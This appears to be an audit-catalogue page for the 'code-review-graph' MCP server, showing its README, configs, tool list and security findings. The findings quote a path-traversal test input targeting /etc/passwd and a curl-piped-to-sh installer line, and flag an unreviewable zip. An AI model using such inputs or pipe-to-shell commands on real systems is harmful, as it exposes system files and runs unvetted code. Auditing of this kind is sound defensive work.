Atlas / MCP servers / apodal-cherry334 / code-review-graph

code-review-graphSAFE

mcp/apodal-cherry334/code-review-graph

Map code reviews as graphs to optimize token usage and improve analysis accuracy.

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
30 25r · 5w · 0d
Transport
stdio · streamable-http
License
MIT
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://apodal-cherry334.github.io)

Code-review-graph builds a map of your software code. It helps AI tools read your files. This tool makes AI work faster and smarter when it scans your projects. Use it to speed up your deep dives into large codebases.

📥 Getting Started

Follow these steps to set up the software on your Windows computer.

  1. Visit the releases page to see all versions.
  2. Look for the file ending in .msi or .exe under the latest release heading.
  3. Click the file name to download the installer to your Downloads folder.
  4. Open the file you just downloaded.
  5. Follow the prompts on the screen to install the software.
  6. Launch the program from your Start menu once the installation finishes.

🛠️ Requirements

Your computer needs these items to run the software:

  • Windows 10 or Windows 11.
  • A stable internet connection for the first setup.
  • 4GB of RAM.
  • 500MB of free hard drive space.

🎯 How it Works

The tool uses a process called static analysis. It scans your files to learn how parts of your code connect. It saves these connections in a graph. A graph acts like a map for your files. When you ask an AI to fix a bug or explain a function, the AI uses this map. It ignores useless code and focuses on specific parts. This saves time and money. It also keeps your data local. Your code never leaves your computer.

⚡ Key Features

  • Automated Mapping: Start the tool, click scan, and watch it map your folders.
  • Context Reduction: The tool feeds small, relevant chunks of code to AI agents.
  • Large Project Support: Work on big codebases without slow performance.
  • Simple Interface: Click buttons to control the scanner.
  • Privacy First: Your source code stays on your local machine.

⚙️ Using the App

Open the application after installation. You will see a text box for y

Read from source at commit 654ec41d2e47OBSERVED · 2026-10-12
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add code-review-graph --env CRG_OPENAI_API_KEY=${CRG_OPENAI_API_KEY} --env GOOGLE_API_KEY=${GOOGLE_API_KEY} --env MINIMAX_API_KEY=${MINIMAX_API_KEY} --env SECRET=${SECRET} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "code-review-graph": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "CRG_OPENAI_API_KEY": "${CRG_OPENAI_API_KEY}",
        "GOOGLE_API_KEY": "${GOOGLE_API_KEY}",
        "MINIMAX_API_KEY": "${MINIMAX_API_KEY}",
        "SECRET": "${SECRET}"
      }
    }
  }
}
03

Exposed tools (30)

25 read · 5 write · 0 destructive.

ToolRiskDescription
apply_refactor_toolwriteApply a previously previewed refactoring to source files.
build_or_update_graph_toolwriteBuild or incrementally update the code knowledge graph.
cross_repo_search_toolreadSearch for code entities across all registered repositories.
detect_changes_toolreadDetect changes and produce risk-scored, priority-ordered review guidance.
embed_graph_toolwriteCompute vector embeddings for all graph nodes to enable semantic search.
find_large_functions_toolreadFind functions, classes, or files exceeding a line-count threshold.
generate_wiki_toolreadGenerate a markdown wiki from the code community structure.
get_affected_flows_toolreadFind execution flows affected by changed files.
get_architecture_overview_toolreadGenerate an architecture overview based on community structure.
get_bridge_nodes_toolreadFind architectural chokepoints via betweenness centrality.
get_community_toolreadGet detailed information about a single code community.
get_docs_section_toolreadGet a specific section from the LLM-optimized documentation reference.
get_flow_toolreadGet detailed information about a single execution flow.
get_hub_nodes_toolreadFind the most connected nodes in the codebase (architectural hotspots).
get_impact_radius_toolreadAnalyze the blast radius of changed files in the codebase.
get_knowledge_gaps_toolreadIdentify structural weaknesses in the codebase graph.
get_minimal_context_toolreadGet ultra-compact context for any task (~100 tokens). Always call this first.
get_review_context_toolreadGenerate a focused, token-efficient review context for code changes.
get_suggested_questions_toolreadAuto-generate review questions from graph analysis.
get_surprising_connections_toolreadFind unexpected architectural coupling via composite surprise scoring.
get_wiki_page_toolreadRetrieve a specific wiki page by community name.
list_communities_toolreadList detected code communities in the codebase.
list_flows_toolreadList execution flows in the codebase, sorted by criticality.
list_graph_stats_toolreadGet aggregate statistics about the code knowledge graph.
list_repos_toolreadList all registered repositories in the multi-repo registry.
query_graph_toolwriteRun a predefined graph query to explore code relationships.
refactor_toolreadGraph-powered refactoring operations.
run_postprocess_toolwriteRun post-processing on existing graph (flows, communities, FTS index).
semantic_search_nodes_toolreadSearch for code entities by name, keyword, or semantic similarity.
traverse_graph_toolreadBFS/DFS traversal from best-matching node with token budget.
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (5 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (11)

MEDIUMInventory / provenance · inv.binary · CWE-1104
code-review-graph-vscode/src/onboarding/code-review-graph-1.0.zip
code-review-graph-1.0.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWInventory / provenance · inv.hidden_file · CWE-1104
code-review-graph-vscode/.vscodeignore
.vscodeignore
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/test_integration_git.py:353
result = get_wiki_page(str(wiki_dir), "../../etc/passwd")
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_embeddings.py:512
assert _is_localhost_url("http://127.0.0.1:3000/v1")
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_embeddings.py:515
assert _is_localhost_url("http://0.0.0.0:8080/v1")
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_embeddings.py:559
base_url="http://127.0.0.1:3000/v1",
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_embeddings.py:584
assert req.full_url == "http://127.0.0.1:3000/v1/embeddings"
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_embeddings.py:704
api_key="k", base_url="http://127.0.0.1:3000/v1",
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
code-review-graph-vscode/package.json
better-sqlite3, d3, @types/better-sqlite3, @types/d3, @types/node, @types/vscode, @vscode/test-electron, @vscode/vsce
Why it matters. 10 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOInventory / provenance · inv.oversize · CWE-1104
diagrams/context-savings-demo.gif
diagrams/context-savings-demo.gif
Why it matters. 1338859 bytes not read
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
docs/TROUBLESHOOTING.md:164
- In WSL, ensure `uv` is installed inside WSL (not the Windows version): `curl -LsSf https://astral.sh/uv/install.sh | sh`

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha 654ec41d2e47full audit observations/trust-audit/mcp-server/apodal-cherry334__code-review-graph.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12654ec41d2e47SAFEB89first audit
06

Questions

What is the code-review-graph MCP server?

Map code reviews as graphs to optimize token usage and improve analysis accuracy.

What tools does code-review-graph expose?

30 in total: 25 read-only, 5 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is code-review-graph safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does code-review-graph need?

It reads CRG_OPENAI_API_KEY, GOOGLE_API_KEY, MINIMAX_API_KEY and SECRET from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does code-review-graph run?

It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as code-review-graph at 0.2.2.

How current is this page?

The grade is for one exact copy of the source (654ec41d2e47), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement